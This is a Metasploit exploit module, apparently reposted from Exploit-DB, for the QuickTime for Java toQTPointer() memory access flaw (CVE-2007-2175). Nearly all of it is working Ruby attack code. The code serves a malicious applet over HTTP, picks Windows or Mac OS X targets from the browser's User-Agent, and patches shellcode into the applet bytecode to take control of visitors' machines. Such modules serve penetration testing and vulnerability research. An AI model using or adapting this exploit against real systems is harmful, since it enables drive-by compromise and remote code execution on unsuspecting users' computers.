Apple QTJava – ‘toQTPointer()’ Arbitrary Memory Access (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16295/
  • ##
    # $Id: qtjava_pointer.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	#
    	# This module acts as an HTTP server
    	#
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
    			'Description'=> %q{
    				This module exploits an arbitrary memory access vulnerability in the
    			Quicktime for Java API provided with Quicktime 7.
    
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    			[
    				'hdm', # Original exploit for Mac OS X PPC / Win32
    				'kf',# Added support for Mac OS X X86
    				'ddz'# Discovered bug, provided tips
    			],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					['CVE','2007-2175'],
    					['OSVDB', '34178'],
    					['BID','23608'],
    					['URL','http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],
    				],
    			'Payload'=>
    				{
    					'Space'=> 1024,
    					'BadChars' => ''
    				},
    			'Targets'=>
    				[
    #
    # Problem with generic payloads + regenerate_payload still :(
    #
    #					[ 'Quicktime 7 Automatic',
    #						{
    #							'Platform' => ['win', 'osx'],
    #							'Arch' => [ARCH_X86, ARCH_PPC]
    #						}
    #					],
    					[ 'Quicktime 7 on Windows x86',
    						{
    							'Platform' => 'win',
    							'Arch' => ARCH_X86
    						}
    					],
    					[ 'Quicktime 7 on Mac OS X PPC',
    						{
    							'Platform' => 'osx',
    							'Arch' => ARCH_PPC,
    						}
    					],
    					[ 'Quicktime 7 on Mac OS X x86',
    						{
    							'Platform' => 'osx',
    							'Arch' => ARCH_X86,
    						}
    					],
    				],
    #			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Apr 23 2007'
    			))
    	end
    
    
    	def exploit
    		# load the class data
    		path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")
    		fd = File.open(path, "rb")
    		@class_data = fd.read(fd.stat.size)
    		fd.close
    
    		super
    	end
    
    
    	def on_request_uri(cli, req)
    
    		# Create a cached mapping between IP and detected target
    		@targetcache ||= {}
    		@targetcache[cli.peerhost] ||= {}
    		@targetcache[cli.peerhost][:update] = Time.now.to_i
    
    		if (target.name =~ /Automatic/)
    			case req.headers['User-Agent']
    			when /Windows/i
    				print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
    				@targetcache[cli.peerhost][:target] = self.targets[1]
    			when /PPC Mac OS X/i
    				print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
    				@targetcache[cli.peerhost][:target] = self.targets[2]
    			when /Intel Mac OS X/i
    				print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
    				@targetcache[cli.peerhost][:target] = self.targets[3]
    			end
    		end
    
    		# Clean the cache
    		rmq = []
    		@targetcache.each_key do |addr|
    			if (Time.now.to_i > @targetcache[addr][:update]+60)
    				rmq.push addr
    			end
    		end
    
    		rmq.each {|addr| @targetcache.delete(addr) }
    
    
    		# Request processing
    
    		if (not req.uri.match(/\.class$/i))
    
    			# Redirect to the base directory so the applet code loads...
    			if (not req.uri.match(/\/$/))
    				send_redirect(cli, get_resource() + '/', '')
    				return
    			end
    
    			# Display the applet loading HTML
    			print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
    			send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
    			return
    		end
    
    		# Send the actual applet over
    		print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
    		send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
    
    		# Handle the payload
    		handler(cli)
    	end
    
    	def generate_html()
    		return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
    	end
    
    	def generate_applet(cli, req)
    
    		this_target = nil
    		if (target.name =~ /Automatic/)
    			if (@targetcache[cli.peerhost][:target])
    				this_target = @targetcache[cli.peerhost][:target]
    			else
    				return ''
    			end
    		else
    			this_target = target
    		end
    
    		# make a copy..
    		data = @class_data.dup
    
    		# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
    		idx_targ = data.index("\x03\x10\xcc\x54")
    
    		# 1024 bytes for shellcode
    		idx_code = data.index("\x03\x10\xf0\x54")
    
    		# Handle Mac OS X PPC
    		if (this_target.arch.include?(ARCH_PPC))
    			tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
    			data = patch_bytecode(idx_code, data, tp.encoded)
    			data = patch_bytecode(idx_targ, data, "\x01")
    		end
    
    		# Handle Mac OS X x86 / Windows x86
    		if (this_target.arch.include?(ARCH_X86))
    
    			if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
    				tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
    				data = patch_bytecode(idx_code, data, tp.encoded)
    				data = patch_bytecode(idx_targ, data, "\x03")
    			end
    
    			if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
    				tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
    				data = patch_bytecode(idx_code, data, tp.encoded)
    				data = patch_bytecode(idx_targ, data, "\x02")
    			end
    		end
    
    		return data
    	end
    
    	def patch_bytecode(off, data, buff)
    
    		cnt = 0
    		off -= 1
    		while (cnt < buff.length)
    			cnt += 1
    			while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
    				off += 1
    			end
    			data[off]=buff[cnt-1]
    			off += 1
    		end
    
    		return data
    	end
    
    
    end